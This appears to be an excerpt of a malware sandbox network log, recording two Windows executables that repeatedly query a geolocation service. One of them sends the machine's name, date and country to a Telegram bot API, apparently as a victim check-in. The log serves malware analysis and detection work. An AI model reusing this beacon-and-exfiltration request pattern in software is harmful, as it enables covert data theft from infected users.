2024-10-07 06:51:26 UTC	676	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:26 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40221 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r4zUqjcTslltdXxC7Zp3jdaViQ%2B4%2BzmU6kRcK62grz1Nb5FpIApVjxaA6Ig%2F7CDOtRnXYhe7CnkMH0BzCB4OgBMqgNEvsVpfTiCL9G1GEDuWITt2ImeSnKqrfyv9vnSHyyHMPrtE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf6737cd119df-EWR
2024-10-07 06:51:26 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:26 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:26 UTC	682	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:26 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40221 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=95vSSbXUAWcjA3rqkNa0rvN3U89WfkiJIVQAygxENQLcwvKspU%2BT1xr0sl%2B%2FQBzZoEmYcmMfZXxgMgcdrKCiBB8TVCV%2B%2FRuj7ry6iI0fwoTbmc375z2EBz1TfH8T%2BmOQIGiDzLlG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf673acc37cea-EWR
2024-10-07 06:51:26 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49753	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:27 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:27 UTC	680	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40222 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1lG6oiRP22Y9fZkcbJvpgBKMnhDDG%2FjX3Su%2BlO5bTszVpGzbD8WbWkxPCvdh93P5q1z%2Bak90UO15oT5gqv%2B3BpkzW85xr2DkzSF%2BsYJ02zbnVq2VwC0Czjuw5W3lbsfRDJaZb4xr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf67b5dde43fb-EWR
2024-10-07 06:51:27 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:27 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 06:51:27 UTC	676	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40222 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FAZ0edlXCIqSs5woopB0oExpkjn7lC7LBy0bMxlbp1ahjvFMkKdN4e2PZN8TKw51dCRSWcaVNPsMOECTMjiyv3zGlVe346w8WeW1Wr%2BFaCYx9AdoJ7dZPwLcSJuLgVp7WfsLasR%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf67b89587d11-EWR
2024-10-07 06:51:27 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49757	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:29 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:29 UTC	686	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:29 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40224 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QGD%2FVvbHRjEs1N%2FxzP3V4nmDY0b121aLoxLR93ugtGYbFOjMBiKMTX7Q2K%2F%2FiNGSHXIamhLSsTfnJkhVEmhsWX8imF9P4ego%2BE0fc9m2GjE%2BuIFQ%2BM0YngSw%2FaTD7iTQcDPhL6AM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf683486c8c29-EWR
2024-10-07 06:51:29 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49758	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:29 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:29 UTC	682	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:29 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40224 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SRj9R4bwsKKboTTJVAISPklygWQsSe3oqZ%2BfS9D9JQRVG%2BpxNvDzRsx0gvS54SGyugDh%2Bjis7nbX0by75jNp7ZSvHN2yWJIs%2BLDWLgq9yDHMBQgkJSnTzWjC6hATP%2BpJwLkSTv%2BV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf683af1f7c81-EWR
2024-10-07 06:51:29 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49761	188.114.96.3	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:30 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 06:51:30 UTC	676	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40225 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCylzqB1oFkXL8QJJky05TZ8H2ZetnqRs7hg6TC1SzlEWfuE8RnqI9Ynnq9ADTy2ZIQ27vHBTzIueB%2FL1dABNYcXOy9a5kD%2BohQjSt6eNARW%2FNpnTJPIGYDpwXGNTjmfZhFePOhB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf68ba88d1768-EWR
2024-10-07 06:51:30 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49762	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:30 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:30 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40225 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HCaW2mYc3r0DuSBpbbkVShI%2F5Of7LnAuDJnwUCCC6CE4mOkL%2FCZY%2FN7AjBjtRS3%2FEGGcPXac4dDdUCnvWP1t3Apyrm9Er4lDXERK4Xz79qmyOC5Ss8vDBNYqTFFbdYSfFsl4r2vF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf68bf9a01784-EWR
2024-10-07 06:51:30 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49763	149.154.167.220	443	7180	C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:31 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:445817%0D%0ADate%20and%20Time:%2007/10/2024%20/%2015:26:03%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20445817%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-07 06:51:31 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 07 Oct 2024 06:51:31 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-07 06:51:31 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49765	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:31 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:31 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40226 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ey32VVRl8ROC70GvQYhpJNeNNTUAUuchvSEYLZW%2Fr13Cjh2mgSp33XsDZThkAlMiXmzo9Hl7Nvq5lrcGv4gjlordm1SB1%2FrxP0mXUT%2FR8MmRk6kPS2Q32PVJlaVhGhNtUqFg%2BsYD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf6940e81c411-EWR
2024-10-07 06:51:31 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49769	188.114.96.3	443	7540	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:51:33 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 06:51:33 UTC	674	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:51:33 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 40228 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1qB744Aikkgsaz3dni8cljXkNTih5QhKDN6ZL%2FpLeJFa1alKz1NsylTyTyjg18KYHp8BAdSr1Re3aBagbGrNHlRgCMffzBQzwINmYVEjpIv%2F7FFsW8vXjnpaXmMvIvwog2u48IdV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebf69c4bff3338-EWR
2024-10-07 06:51:33 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 06:51:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
